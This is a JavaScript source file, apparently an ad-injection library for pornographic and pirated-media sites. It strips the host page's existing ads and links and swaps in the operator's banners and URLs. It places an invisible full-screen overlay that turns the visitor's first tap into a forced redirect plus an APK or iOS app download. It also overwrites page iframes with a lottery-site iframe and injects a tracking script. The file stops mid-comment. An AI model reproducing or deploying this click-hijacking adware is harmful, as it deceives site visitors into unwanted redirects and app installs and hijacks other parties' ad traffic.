/**
 * 2020-3-16
 * 1层 fun 主要层 主要广告对应操作  常用方法(针对公司业务比如链接，GIF等)
 * 2层 template模板层
 * 3层 FinDOM   DOM操作方法
 * 4层 request 和 session 
 * 5层 func  自定义方法层
 * **/
class fun {
	constructor(Param = {}) {
		this.DOM = new FindDom();
		this.func = new func();
		if (Param && sessionStorage.getItem(`${location.href}`) !== true) {  //每一次调用确认一次加载
			Param.pornographic && this.pornographic(Param.pornographic); //sq
			Param.FictionMovie && this.FictionMovie(Param.FictionMovie); //小说电影
			Param.regular && this.regular(Param.regular); //正则表达式匹配
		}
		Param.arbitrarilyClick && this.arbitrarilyClick(Param.arbitrarilyClick); //屏幕任意点击
		Param.statistics && this.statistics(Param.statistics); //统计器
		Param.filterImg && this.filterImg(); //广告过滤
		Param.deleteEndGif && this.deleteEndGif(); //GIF删除
		Param.ChooseToReplace && this.ChooseToReplace(Param.ChooseToReplace);//a标签过滤替换
		Param.ReplaceTheLink && this.ReplaceTheLink(Param.ReplaceTheLink); //a标签替换
		Param.AtwillUrl && this.AtwillUrl(Param.AtwillUrl);//网址随机生成网址
		Param.AtwillImg && this.AtwillImg(Param.AtwillImg);//随机图片地址
		Param.CustomCallbacks && this.CustomCallbacks(Param.CustomCallbacks);//浏览器系统事件函数 ， 用于页面的事件函数
		// Param.changeLoading && lodang || (lodang = new changeLoading({downRollClass:Param.changeLoading})); //页面触发事件
		sessionStorage.setItem(`${location.href}`, true);

	};
	pornographic(cont) { //适应sq网址
		/**
		 * @param {Boolean} filet 是否开启广告过滤
		 * @param {Boolean} linkbg 是否开删除a标签背景图片删除
		 * @param {Boolean} onOff 是否开启广告关闭功能
		 * @param {Object} OneClick 是否开启点击页面跳转 已经配置点击后跳转的页面 和点击后是 是否开启apk 下载
		 * @param {Object} appleplet 广告图片以及广告地址
		 */
		let {
			adapt = 'move', filert = true, linkbg = false, onOff = true, OneClick = {click: false,
				url: '',
				IOSlink:null,
				dwApp:false, //app下载
				IosApk:null,
				dwAPK:null,
			}, appleplet
		} = cont;
		/**
		 * 注入统计器
		 */
		// this.statistics();
		//广告过滤以及背景删除
		filert && this.filterImg() && this.deleteEndGif();
		linkbg && this.ChooseToReplace();

		if (this.func.getFtu() === '移动端' || adapt === 'All') {
			//屏幕任意点击事件
			OneClick.click && this.arbitrarilyClick.call(this, {
				jumpTerm: OneClick.off,
				linkUrl: OneClick.url,
				IOSlink:OneClick.IOSlink,  //ios 页面跳转
				download: OneClick.dwApp,
				dwAPK: OneClick.dwAPK,
				IosApk:OneClick.IosApk,//ios 下载地址
			});
			appleplet && setTimeout(() => {
				if (appleplet.length > 1) {
					for (let g in appleplet) {
						new template({
							site: appleplet[g].tp,
							a: appleplet[g].url,
							img: appleplet[g].img,
							id: appleplet[g].id,
							className: appleplet[g].className,
							sqcont: appleplet[g].sqcont,
						})
					}
				}
			}, 100);

		}
		//关闭广告			
		onOff && this.colos();
	};
	//电影小说
	FictionMovie(data) {
		let {
			top,
			tcont = [],
			bottom,
			bcont = [],
			removegif = true,
			OneClick = {
				click: false,
				dwApp: false,
				AppUrl: null,
				IOSlink:null, //ios 页面跳转
				url: null,
				IosApk:null,//iso下载地址
			},
		} = data;
		//是否开删除GIF
		removegif && this.deleteEndGif();
		if (this.func.getFtu() === '移动端') {
			//是否开启屏幕任意点击事件 ， 并传入参数
			OneClick.click && this.arbitrarilyClick({
				linkUrl: OneClick.url,
				IOSlink:OneClick.IOSlink,
				download: OneClick.dwApp,
				dwAPK: OneClick.AppUrl,
				IosApk:OneClick.IosApk,
			});

			if (this.func.getUrl('www') !== this.func.getUrl('url')) {
				if (document.getElementsByClassName('AdvertisingLogo').length === 0) {
					let body = document.body;
					if (top) {
						let OenData = tcont.length === 1 ? tcont[0] : this.AtwillImg(tcont);
						let {
							link,
							img
						} = OenData;
						let theaTop = this.DOM.setElement();
						theaTop.className = 'AdvertisingLogo';
						theaTop.innerHTML =
							`<a href="${link}" target="_blank" rel="noopener noreferrer"><img src="${img}" alt="" class="wp-image-66839"  sizes="(max-width: 800px) 100vw, 800px" style="width: 100%; height: 15vh;"></a>`;
						body.insertBefore && body.insertBefore(theaTop, body.firstChild);
					}

					bottom === true ? setTimeout(function () {
						let OenData = bcont.length === 1 ? bcont[0] : this.AtwillImg(bcont);
						let {
							link,
							img
						} = OenData;
						let bottom = this.DOM.setElement();
						bottom.style = 'z-index: 2147483647;width: 100%;';
						bottom.innerHTML =
							`<div style="position: absolute;color: red;right:0px;font-family: fantasy;background: white;" id="close">关闭</div ><a href="${link}" title="直播视频" target="_blank" rel="noopener noreferrer"><img src="${img}" alt="" class="wp-image-66839" sizes="(max-width: 800px) 100vw, 800px" style="width: 100%; height: 15vh;"></a>`;
						body.insertBefore(bottom, body.lastChild);
						this.colos();
					}.bind(this), 1000) : null;
				}
			}
		}

	};
	//js正则匹配
	regular(parameter = {}) {
		let {
			AllCont = [], sfUrl = 'https://677u.com/list1.php?c=pk10', API = 'http://172.16.100.52/api/', imgArr = []
		} = parameter;
		console.log(parameter);
		let mj = {
			// iframe: `<iframe src='${sfUrl}' style='border: none;width: 100% !important; height: 2000vh !important;' scrolling='no' frameborder='0'></iframe>`,
			iframe: `<div style="width: 100%;height: 150%;">
			<p style="text-align: center"><img id="mmg" src="" style="margin: 0 auto; width: 1000px; height: 130px;" /></p><iframe
			 src="${sfUrl}" scrolling="no"  style='border: none;width: 100%;height: 2000vh;'></iframe></div>`
		};
		setTimeout(function () {
			let BOM = this.DOM.getAll('iframe');
			let arrt = [];
			if (BOM.length !== 0) {
				for (let p = 0; p < BOM.length; p++) {
					arrt.push(parseInt(BOM[p].height));
				}
				console.warn(arrt);
				let ifra = BOM[arrt.indexOf(Math.max.apply(null, arrt))];
				if (imgArr.length > 1 && arrt.length !== 0) {
					let ims = this.DOM.setElement('img');
					ims.style = "margin: 0 auto; width: 1000px; height: 130px;";
					ims.src = this.AtwillUrl(imgArr);
					ims.id = 'm';
					ifra.src = sfUrl;
					ifra.parentNode.insertBefore(ims, ifra); //在iframe前面注入baner
				} else if (arrt.length !== 0) {
					// let ifra = BOM[arrt.indexOf(Math.max.apply(null, arrt))];
					ifra.src = sfUrl;
					// BOM[arrt.indexOf(Math.max.apply(null, arrt))].src = this.DOM.url;
				};
				console.warn('iframe');
			} else {

				var tb = this.DOM.getAll('table');
				// tb.length !== 0 ? tb[0].innerHTML = mj.iframe; :  request({url: window.location.href,count: 1});
				if (tb.length !== 0) {
					//  tb[Math.ceil((tb.length+1)/2)].innerHTML = mj.iframe;
					tb[0].innerHTML = mj.iframe;
					console.warn('table');
				} else {
					let Arrcont = ["#content", ".content", "center", ".center", "#center", ...AllCont];
					for (var x = 0; x < Arrcont.length; x++) {
						var zdy = this.DOM.getAll(Arrcont[x]);
						if (zdy.length !== 0) {
							break;
						}
					};
					if (zdy.length !== 0) {
						zdy[0].innerHTML = mj.iframe;
						// let ims = this.DOM.setElement('img');
						// ims.style = "margin: 0 auto; width: 1000px; height: 130px;";
						// ims.src = this.AtwillUrl(imgArr);
						// ims.id = 'm';
						// zdy[0].parentNode.insertBefore(ims,zdy[0]);
						imgArr.length > 1 && setTimeout(function () { //注入模板随机baner图片显示
							let baner = document.getElementById('mmg');
							baner.src = this.AtwillUrl(imgArr);
						}.bind(this), 200);

					} else {
						new request({
							url: API,
							data: {
								url: this.GotoURL(),
								count: 1
							}
						})
					};
				}
			}

		}.bind(this), 500);
	};
	//屏幕任意位置点击
	arbitrarilyClick(data) {
		/**
		 * linkUrl 点击跳转链接 安卓跳转地址
		 * IOSlink ios 跳转页面地址
		 * download 是否开启下载 默认false
		 * dwAPK 下载APK地址
		 * **/

		let {
			 linkUrl = null,IOSlink = null, download = false, dwAPK = null,IosApk = null
		} = data;

		const host = this.func.getUrl('url');
		
		if (linkUrl instanceof Array) {
			linkUrl = this.AtwillUrl(linkUrl);
		}
		if (sessionStorage.getItem(`${host}SHOUPINGONCILCK`) === null) {
			sessionStorage.setItem(`${host}SHOUPINGONCILCK`, 'SHOUPINGONCILCK');
		}
		// if (sessionStorage.getItem(`${host}`) === 'true' || jumpTerm || download && sessionStorage.getItem(`${host}`) !== "false" || sessionStorage.getItem(`${host}`) !== false) {
		if (sessionStorage.getItem(`${host}SHOUPINGONCILCK`) === 'SHOUPINGONCILCK') {
			let mb = this.DOM.setElement();
			mb.id = 'meban';
			mb.style = `position: fixed;width: 100vh; height: 100vh;top: 0px; z-index: 2147483647;`;
			this.DOM.getBody().appendChild(mb);
		}
		let clic = this.DOM.getAll('#meban');
		for (let i = 0; i < clic.length; i++) {
			clic[i].onclick = function () {
				clic.forEach(tiem => tiem.remove()); //删除当前点击的
				if (this.func.getFtu('null') === 'Android') {
					if (sessionStorage.getItem(`${host}SHOUPINGONCILCK`) === 'SHOUPINGONCILCK') {
						sessionStorage.setItem(`${host}SHOUPINGONCILCK`, false);
						// if (download) {
						// 	this.downloadLink(dwAPK)
						// }
						//  this.GotoURL(linkUrl);
						 (download === true ? (open(dwAPK),this.GotoURL(linkUrl)):this.GotoURL(linkUrl))()
					}
				} else if(this.func.getFtu('null') === 'iPhone') {
					if (sessionStorage.getItem(`${this.func.getUrl('url')}SHOUPINGONCILCK`) === 'SHOUPINGONCILCK') {
						sessionStorage.setItem(`${this.func.getUrl('url')}SHOUPINGONCILCK`, false);
						//this.downloadLink(dwAPK) || open(IosApk)
						(download === true ? (open(IosApk),this.GotoURL(IOSlink)):this.GotoURL(IOSlink))()
						
					}
				}
			}.bind(this)
		}
	};
	//统计器
	statistics(data = {}) {
		let {
			url = 'https://js.users.51.la/19651791.js'
		} = data;
		let srcs = [], m, script;
		[...document.querySelectorAll('img')].forEach(e => {
			srcs.push(e.src);
		});
		m = srcs.filter((e) => {
			return e === url;
		});
		console.log(m);
		m.length || (script = this.DOM.setElement('script'), script.type = 'text/javascript', script.src = url, this.DOM.getAll('head')[0].appendChild(script));

	};
	//配置模板的关闭功能
	colos() {
		setTimeout(() => {
			let cilCk = this.DOM.getAll('#close');
			for (let cols = 0; cols < cilCk.length; cols++) {
				cilCk[cols].onclick = function () {
					this.parentNode.innerHTML = null;
				}
			}
		}, 500);
	};
	//删除GIF
	deleteEndGif() {
		let gif, agif, divgif;
		gif = this.DOM.getAll('img');
		agif = this.DOM.getAll('a');
		divgif = this.DOM.getAll('div');

		for (let i = 0; i < agif.length; i++) {
			let figs = getComputedStyle(agif[i], null).getPropertyValue('background-image').replace("url(", '').replace(")", '');
			if (figs.includes('gif')) {
				agif[i].parentNode.tagName === 'A' ? agif[i].parentNode.remove() : agif[i].remove();
			}
		}

		for (let index = 0; index < divgif.length; index++) {
			const figs = getComputedStyle(divgif[index], null).getPropertyValue('background-image').replace("url(", '').replace(")", '');
			if (figs.includes('gif')) {
				divgif[index].remove();
			}
		}

		for (let p = 0; p < gif.length; p++) {
			if (gif[p].src && gif[p].src.includes('gif')) {
				if (gif[p].parentNode) {
					gif[p].parentNode.innerHTML = null;
				} else {
					gif[p].innerHTML = null;
				}
			}
		}
	};
	/**
	 * 随机网址生成
	 * @param {Array} s 
	 * @returns {string} 返回随机网址
	 */
	AtwillUrl(s) {
		console.log(s[this.func.randoms(0, s.length)]);
		return s[this.func.randoms(0, s.length)];
	};
	/**
	 * 返回随机的广告和对应的广告地址
	 * @param obj
	 * @returns {{link: (string), img: (string)}}
	 * @constructor
	 */
	AtwillImg(obj) {
		let One = obj[this.func.randoms(0, obj.length)];
		return {
			link: One.link,
			img: One.img,
		}
	};
	//广告过滤
	filterImg() {
		this.deleteEndGif();
		let ImgWidtArrylis = [];
		let ImgHeightArrylis = [];
		let imgs = this.DOM.getAll('img');
		for (let s = 0; s < imgs.length; s++) {
			if (imgs[s] && imgs[s].width > 850) { //清楚部分
				imgs[s].style.display = 'none';
			}
			if (imgs[s].style && imgs[s].style.width === '100%') {
				imgs[s].style.display = 'none';
			} else {
				if (imgs[s].style && imgs[s].style.display !== 'none') {
					ImgWidtArrylis.push(imgs[s].width);
					ImgHeightArrylis.push(imgs[s].height);
				}
			}
		}
		for (let p = 0; p < imgs.length; p++) {
			//数据的宽高一直
			if (imgs[p].width && parseInt(imgs[p].width) !== parseInt(this.func.much(ImgWidtArrylis)) && parseInt(imgs[p].height) !==
				parseInt(this.func.much(ImgHeightArrylis))) {
				if (parseInt(imgs[p].width) > 300 && parseInt(imgs[p].height) > 200) {

				} else {
					if (imgs[p].parentNode !== undefined && imgs[p].parentNode !== null) {
						imgs[p].parentNode.innerHTML = null;
					}
				}
			}
		}
		/**
		 * 删除父元素为a标签并且href开始为http 或者为https开始得图片
		 */
		let img = this.DOM.getAll('img');
		for (let s = 0; s < img.length; s++) {
			if (img[s].width !== this.func.much(ImgWidtArrylis) && img[s].height !== this.func.much(ImgHeightArrylis)) {
				if (img[s] === 'object' && img[s].style !== undefined && img[s].style.display !== undefined) {
					if (img[s].parentNode !== undefined) {
						img[s].parentNode.innerHTML = null;
					}
					img[s].style.display = 'none';
				}
			} else {
				/**
				 * 获取父元素是否有href 如果是父元素就为a标签
				 */
				if (img[s].parentNode && img[s].parentNode.href) {
					if (img[s].parentNode.href.includes('http')) {
						if (img[s].style.width !== this.func.much(ImgWidtArrylis)) {
							img[s].parentNode.style.display = 'none';
							if (img[s].parentNode !== undefined) {
								img[s].parentNode.innerHTML = null
							}
						}
					} else if (img[s].parentNode.href.includes('https')) {
						if (img[s].style.width !== this.func.much(ImgWidtArrylis)) {
							if (img[s].parentNode !== undefined) {
								img[s].parentNode.innerHTML = null
							}
							img[s].parentNode.style.display = 'none';
						}
					}
				} else {
					if (img[s] === 'object') {
						img[s].style.display = 'none';
					}
				}
			}
		}
	};
	//替换a标签链接 以及图片替换
	ReplaceTheLink(parameter) {
		let {
			node,
			rg,
			onOff = false
		} = parameter;
		console.log(parameter);

		//数组鉴别以及转化 是A及返回当前元素
		node = node.tagName === 'A' ? node : this.func.ToIdentify(node);
		// console.log(rg instanceof Object)
		if (node.nodeType === 1 && rg instanceof Object) { //传入的单个 如果替换地址和替换图片其中一个没有，就不会执行，替换图片和地址要相同
			console.log(rg);
			onOff && (rg || node.remove());
			rg && (node.href = rg.url, node.style.backgroundImage = `url(${rg.img})`);

		} else if (node instanceof Array && rg instanceof Array) {

			for (let p = 0; p < node.length; p++) {
				if (rg[p] && node[p]) {
					node[p].href = rg[p].url;
					node[p].style.backgroundImage = `url(${rg[p].img})`;
				} else {
					onOff && node[p].remove();
				}
			}
		}
	};
	/**
	 * 标签链接 图片 过滤 以及图片的替换 删除
     * @param {Object}barring 过滤数组用于广告注入时自己广告不被清除掉 如果不传入就默认为本网站的
     * @param {Object 默认 sring} url 把其他广告地址替换成自己的广告地址，多个地址为数组格式
     * @param {Array[Object]} rg 替换广告图片已经链接 [{url：'',img：''}] url 为链接图片 ，img 为替换图片
     * @param {true/false} onOff 是否开启多余的标签删除 默认为false
     * */
	ChooseToReplace(data) {
		let {
			barring = [], onOff = false, rg = []
		} = data;
		let addressBar, AClassName, location, bgrul, ahref;
		location = `${this.func.getUrl('tp') + "//" + this.func.getUrl('host')}`;
		//当前的连接不包含当前的地址 有些网址的图片可能放在不同的服务器 传入参数就根据参数中的地址栏来判断当前的图片是否是广告
		addressBar = barring === [] ? location : barring; //没有过滤项就把自己网址拿过当过滤项
		AClassName = this.DOM.getAll('a');
		let acont = [...AClassName];
		acont.forEach((item, index) => {
			ahref = item.href;
			bgrul = getComputedStyle(item, null).getPropertyValue('background-image').replace("url(", '').replace(")", '');
			if (addressBar.length > 1 && rg instanceof Array) {
				let gl = addressBar[index];
				if (!bgrul.includes(gl) || !ahref.includes(gl)) {
					this.ReplaceTheLink({
						node: item,
						rg: rg[index],
						onOff: onOff
					})
				}
			} else { //没有过滤项以及替换的地址
				if (!bgrul.includes(addressBar) || !ahref.includes(addressBar)) {
					url !== '' ? item.href = url : (item.remove());
					rg || (item.remove());
					console.log('ClasName');
				}
			}
		})
	};
	CustomCallbacks(e) {  //自定义回调函数 用于页面事件的回调函数
		console.log(e)
		const { scroll, keydow, resize, } = e;

		func.TypeValidation(scroll, 'Onscrollfuc')
		func.TypeValidation(keydow, 'Onkeydow')
		func.TypeValidation(resize, 'Onresize')
	}
	//页面跳转/或者页面地址返回
	GotoURL(e){ 

		return e ?  window.location.href = e:  window.location.href
	}
	//下载
	downloadLink(link){
		if(link){
			const ele = this.DOM.setElement('a');
			ele.setAttribute('href', link); //设置下载文件的url地址
			ele.setAttribute('download', 'download'); //用于设置下载文件的文件名
			ele.click();
		} 
		
	}

};


class wd {
	constructor() {
		this.wd = window;
		this.Dom = this.wd.document;
		this.sess = this.wd.sessionStorage;
		this.local = this.wd.localStorage;
		this.GetUerl = this.wd.location;
		this.xhr = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
	}
};

class request extends wd {
	constructor(parameter) {
		super();
		/*Content-type (几种常见的Content-Type类型)
		application/x-www-form-urlencoded
		multipart/form-data
		application/json
		text/xml
		application/json;charset=UTF-8
		*/
		const {
			url = null, data = {}, header = 'application/json;charset=UTF-8', way = 'post', datatype = 'JSON'
		} = parameter;
		return new Promise((resolve, reject) => {
			let xhr = this.xhr;
			xhr.open(way, url, true);
			xhr.datatype = datatype;
			xhr.setRequestHeader('Content-type', `${header}`);
			xhr.timeout = 30000;
			if (xhr && xhr.timeout) {
				xhr.ontimeout = function () { /*请求超时触发的事件*/
					alert('请求超时!')
				};
			};
			xhr.send(JSON.stringify(data));
			xhr.onerror = function (e) { /*失败*/
				reject(new Error({
					errorType: 'abort_error',
					xhr: xhr
				}));
			};
			xhr.onreadystatechange = function () {
				if (xhr.readyState === 4 && xhr.status === 200) {
					resolve(JSON.parse(xhr.responseText));
				} else if (xhr.readyState >= 400 && xhr.status < 500) {
					reject(`错误请求，如语法错误http=>状态码:${xhr.readyState}`);
				} else if (xhr.status > 500) {
					reject(`服务器产生内部错误http=>状态码:${xhr.readyState}`);
				}
			}
		})
	}
};


class session extends wd { // 封装sessionStorage 继承 wd 方法
	constructor(sess) { // 默认为sessionStorage 传入参数为localStorage 
		super(); //超类
		this.storage = sess === undefined ? this.sess : this.local;
	};
	set(key, value) {
		this.storage.setItem(this.wd.btoa(this.wd.encodeURIComponent(key)), this.wd.btoa(this.wd.encodeURIComponent(value)));
	};
	get(key) {
		let data = key === undefined ? null : this.storage.getItem(this.wd.btoa(this.wd.encodeURIComponent(key)));
		return data && this.wd.atob(this.wd.decodeURIComponent(data));
	};
	removeKey(key) {
		key && this.storage.removeItem(this.wd.decodeURIComponent(this.wd.btoa(key)));
	};
	removeAll() {
		this.storage.clear();
	};
};


class Storage {   //重写localStorage

	constructor(props) {
		this.props = props || {}
		this.source = this.props.source || window.localStorage;
		this.initRun();
	}
	initRun() {
		/*
		* set 存储方法
		* @ param {String}     key 键
		* @ param {String}     value 值，存储的值可能是数组/对象，不能直接存储，需要转换 JSON.stringify
		* @ param {String}     expired 过期时间，以分钟为单位
		*/
		const reg = new RegExp("__expires__");
		let data = this.source;
		let list = Object.keys(data);
		if (list.length > 0) {
			list.map((key, v) => {
				if (!reg.test(key)) {
					let now = Date.now();
					let expires = data[`${key}__expires__`] || Date.now + 1;
					if (now >= expires) {
						this.remove(key);
					};
				};
				return key;
			});
		};
	}

	set(key, value, expired) {
		/*
		* set 存储方法
		* @ param {String}     key 键
		* @ param {String}     value 值，
		* @ param {String}     expired 过期时间，以毫秒为单位，非必须
		*/
		let source = this.source;
		source[key] = JSON.stringify(value);
		if (expired) {
			source[`${key}__expires__`] = Date.now() + expired
		};
		return value;
	}

	get(key) {
		/*
		* get 获取方法
		* @ param {String}     key 键
		* @ param {String}     expired 存储时为非必须字段，所以有可能取不到，默认为 Date.now+1
		*/
		const source = this.source,
			expired = source[`${key}__expires__`] || Date.now + 1;
		const now = Date.now();

		if (now >= expired) {
			this.remove(key);
			return;
		}
		const value = source[key] ? JSON.parse(source[key]) : source[key];
		return value;
	}

	remove(key) {
		const data = this.source,
			value = data[key];
		delete data[key];
		delete data[`${key}__expires__`];
		return value;
	}

}

class FindDom extends wd {
	constructor() {
		super();
	}

	/**
	 * 创建一个html标签 默认为div
	 * @param label
	 * @returns {HTMLDivElement}
	 */
	setElement(label = 'div') { //创建标签
		return this.Dom.createElement(label);
	};

	/**
	 *
	 * @param node 需要插入的节点
	 * @param place 需要插入的位置 （beforebegin: 元素自身的前面。afterbegin: 插入元素内部的第一个子节点之前。beforeend: 插入元素内部的最后一个子节点之后。afterend: 元素自身的后面）
	 * @param text 需要的html文本
	 */
	insertion(node, place, text) { //插入html标签到指定位置
		node && node.insertAdjacentHTML(place, text);
	};

	/*查找DOM start */
	/**
	 * @param {Object} id
	 * @param {string} Node father(父级) son(子级) noe (第一个) end(最后一个) upwith(同级前元素) withnext(同级后元素) sonCont(返回子节点个数)
	 */
	getId(id, Node) {

		let d = this.Dom.getElementById(id);
		if (id && Node === undefined) {
			return d;
		}
		if (id && Node)
			return Node === 'father' ? d.parentNode : Node === 'son' ? d.lastElementChild : Node === 'noe' ? d.firstElementChild ||
				d.firstChild : Node === 'end' ? d.firstChild : Node === "upwith" ? d.previousElementSibling : Node === 'withnext' ?
					d.nextElementSibling : Node === 'sonCont' ? d.childElementCount : null;
	};

	/**
	 * 以class来获取DOM
	 * @param name 传入class
	 * @returns {HTMLCollectionOf<Element>}
	 */
	getClass(name) {
		// console.log(wd.Dom)
		return this.Dom.getElementsByClassName(name);
	};

	/***
	 * 以标签名来获取DOM
	 * @param name 传入标签名
	 * @returns {HTMLCollectionOf<HTMLElementTagNameMap[*]>}
	 */
	getName(name) {
		return this.Dom.getElementsByTagName(name);
	};

	/**
	 * 获取所有相同的标签
	 * @param All 传入 id class 或html 标签
	 * @returns {NodeListOf<HTMLElementTagNameMap[*]>}
	 */
	getAll(All) {
		return this.Dom.querySelectorAll(All);
	};

	/**
	 * 以属性获取DOM
	 * @param leba 传入属性 如 typ=file
	 * @returns {any}
	 */
	getSelector(leba) {
		return this.Dom.querySelector(leba);
	};

	/**
	 * 返回body
	 * @returns {HTMLElement}
	 */
	getBody() {
		return this.Dom.body;
	};
	/**
	 * 返回body中的第一个元素
	 */
	getBodystrt() {
		return this.Dom.firstElementChild;
	}
	getBodyEnd() {
		return this.Dom;
	}


};
/*查找DOM end */
class template extends FindDom {
	/**
	 * @param {string} site 模板位置 可选 top ， bottom ， conter ，letft ，right
	 * @param {url} a  跳转目标地址
	 * @param {string} img 广告图片
	 * @param {string} id 广告模板id 默认为 repetitioncols
	 */
	constructor(...argument) {
		super();
		this.tp = this.setElement(); //创建节点
		this.start = this.getBody().firstElementChild;//获取body第一个
		this.end = this.getBody().lastChild;//获取body最后一个
		this.restyle();
		this.init(...argument);
	}
	init(order) {
		let {
			site,
			id = '',
			className = '',
			sqcont = [],
		} = order;
		let {
			link,
			img
		} = new fun().AtwillImg(sqcont);


		const include = 'position: fixed; z-index: 2147483647 !important;';
		const MTplaceLits = {
			top: `z-index: 2147483647 !important;width:100%; height:20%;`,
			bottom: `${include}width: 100%;bottom: 0;`,
			letft: `${include}width: 20%;bottom: 0;left: 0;top: 10%;`,
			right: `${include}width: 20%;bottom: 0;right: 0;top: 10%;`,
			conter: `${include} position: fixed; top: 0; bottom: 0; left: 0;  margin: auto; height: 50vh; width: 100%;`,
		};
		const MTtemplate = {
			top: `<a style='z-index:2147483647' href="${link}">
                        <img style='width: 100%; z-index:2147483647' src="${img}" alt="">
                        </a>`,
			bottom: `<div class="up animated" style = 'height: 200px'><p style="position: absolute;right: 0px;background: white;top: 1rem; width: 3rem;" id="close">关闭</p><a href="${link}">
                        <img style='position: fixed;width: 100%; bottom: 0px;z-index: 2147483647;' src="${img}" alt="">
                        </a></div>`,

			conter: `<p style="position: absolute;right: 0px;background: white; width: 3rem;" id="close">关闭</p>
                <a  href="${link}">
                <img class="main_img img-hover" src="${img}" style="background-color: rgba(0, 0, 0,0.4); width: 100%; height: 50vh;object-fit: none;">
                </a>`,
		};

		switch (site) {
			case 'letft':
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = MTplaceLits.letft;
				this.tp.innerHTML = MTtemplate.conter;
				this.getBody().insertBefore(this.tp, this.start);
				return false;
			case 'right':
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = MTplaceLits.right;
				this.tp.innerHTML = MTtemplate.conter;
				this.getBody().insertBefore(this.tp, this.start);
				return false;
			default: // 以上匹配失败
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = MTplaceLits[site];
				this.tp.innerHTML = MTtemplate[site];
				site === 'bottom' ? this.getBody().insertBefore(this.tp, this.end) : this.getBody().insertBefore(this.tp, this.start);
				return false;
		}
	};
	pc(pctp, a, img) {
		//样式首次加载
		let cons = true;
		cons === true || this.style();
		cons = false;

		//pc 模板
		const PublicList = {
			w_index: `width: 100%;z-index: 2147483647 !important;`,
			p_fixed: `position: fixed;`,
			h_height: `height: 15vh;`,
			w_width: `width: 15vh;`,
		};
		const PCStyle = {
			top: `${PublicList.w_index}${PublicList.h_height}`,
			bottom: `${PublicList.p_fixed} bottom: 0; ${PublicList.w_index} ${PublicList.h_height}`,
			conter: `${PublicList.w_index} ${PublicList.p_fixed}top: 0; bottom: 0; left: 0;  margin: auto; height: 50vh; width: 80%; margin-left:10%;`,
			letft: `${PublicList.w_index} ${PublicList.p_fixed}top: 0; bottom: 0; left: 0; margin: auto; ${PublicList.h_height} ${PublicList.w_width}`,
			right: `${PublicList.w_index} ${PublicList.p_fixed}top: 0; bottom: 0; right: 0; margin: auto; ${PublicList.h_height} ${PublicList.w_width}`,
		};
		const PCtemplate = {
			top: `<img src="http://www.okbj.top/wp-content/uploads/2019/12/KOREAN-BJ-2019121910.jpg" alt="" class="" style='width: 100%; height: 15vh; object-fit: none;'>`,
			bottom: `<img src="${img}" alt="" class=" up animated" style='width: 100%; height: 15vh; object-fit: none;'>`,
			conter: `<div class="up animated"><p style="position: absolute;right: 0px;background: white;" id="close">关闭</p>
                <a  href="${a}">
                <img src="${img}" style="background-color: rgba(0, 0, 0,0.4); width: 100%; height: 167.852px;height: 50vh;object-fit: none;">
                </a></div>`
		};

		switch (pctp) {
			case 'letft':
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = PCStyle.letft;
				this.tp.innerHTML = PCtemplate.conter;
				this.getBody().insertBefore(this.tp, this.start);
				return false;
			case 'right':
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = PCStyle.right;
				this.tp.innerHTML = PCtemplate.conter;
				this.getBody().insertBefore(this.tp, this.start);
				return false;
			default:
				this.tp.id = id;
				this.tp.className = className;
				this.tp.style = PCStyle[pctp];
				this.tp.innerHTML = PCtemplate[pctp];

				pctp === 'bottom' ? this.getBody().insertBefore(this.tp, this.end) : this.getBody().insertBefore(this.tp, this.start);
				// this.getBody().insertBefore(this.tp, this.start);
				return false;

		}
	};
	restyle() {
		/**
		 * 添加抖动动画
		 */
		if (!this.getId('setstyle')) {
			const Frames =
				`.animated{animation-duration: 0.5s;/*动画时间*/animation-fill-mode: forwards;/*播放后的状态*/animation-iteration-count: infinite;/*动作循环的次数：infinite 无限循环*/animation-duration: 2s;/*动画时间*/}.up{animation-name: upAnimation;/*动画的名称*/transform-origin: center bottom;/*设置动画旋转元素的基点为*/cursor: pointer;}@keyframes upAnimation{0%,100%,20%,50%,80%{transition-timing-function: cubic-bezier(0.215, .61, .355, 1);transform: translate3d(0, 0, 0);}40%,43%{transition-timing-function: cubic-bezier(0.755, 0.50, 0.855, 0.060);transform: translate3d(0, -30px, 0);}70%{transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);transform: translate3d(0, -15px, 0);}90%{transform: translate3d(0, -4px, 0);}}`;
			// 创建style标签
			const style = this.setElement('style');
			// 设置style属性
			style.type = 'text/css';
			style.id = 'setstyle';
			// 将 keyframes样式写入style内
			style.innerHTML = Frames;
			// 将style样式存放到head标签
			this.getAll('head')[0].appendChild(style);
		}
	};
};
//常用操作 方法
class func extends wd {
	constructor() {
		super();
	}
	/**
	 * 传入数组返回出现次数最对的值
	 * @param {arr} arrlist
	 */
	much(arrlist) {
		const d = {};
		arrlist.forEach(k => !d[k] ? d[k] = 1 : d[k]++);
		const max = Object.keys(d).sort((a, b) => d[b] - d[a])[0];
		return max;
	};
	/**
	 * 获取当前设备类型
	 * 不传入阐述就返回PC端 || 移动端
	 * 传入参数为移动端设备类型
	 */
	getFtu(type = null) {
		let userAgentInfo = navigator.userAgent, flag, terminal = ['Android', 'iPhone', 'SymbianOS', 'Windows Phone', 'iPad', 'iPod'];
		if (type) {
			for (let i in terminal) {
				if (userAgentInfo.includes(terminal[i])) {
					return terminal[i];
				}
			}
			return 'PC端';
		} else {
			for (let v = 0; v < terminal.length; v++) {
				if (userAgentInfo.indexOf(terminal[v]) > 0) {
					flag = '移动端';
					break;
				}
			}
			return flag === '移动端' ? '移动端' : 'PC端';
		}
	};
	/**
	 * @param {string} url 传入固定的表示,返回对应的数据
	 */
	getUrl(url) {
		switch (url) {
			case 'www': // 获取当前协议 + 域名
				return `${this.GetUerl.protocol + "//" + this.GetUerl.host}/`;
			case 'son': // //获取当前子目录
				return this.GetUerl.pathname;
			case 'port': //获取当前端口
				return this.GetUerl.port;
			case 'search': //获取当域名?号后面的参数
				return this.GetUerl.search;
			case 'url': //返回当前的url
				return this.GetUerl.href;
			case 'tp': //返回当协议 http|https
				return this.GetUerl.protocol;
			case 'host': //返回当前的域名
				return this.GetUerl.host;
			default: // 以上匹配失败
				return null;
		}
	};

	/**
	 * 传入数组 返回当前最大值
	 * @param arr
	 * @returns {number}
	 */
	max(arr) {
		return Math.max(...arr); //es6
		// return Math.max.apply(this,arr); //es5
	};
	/**
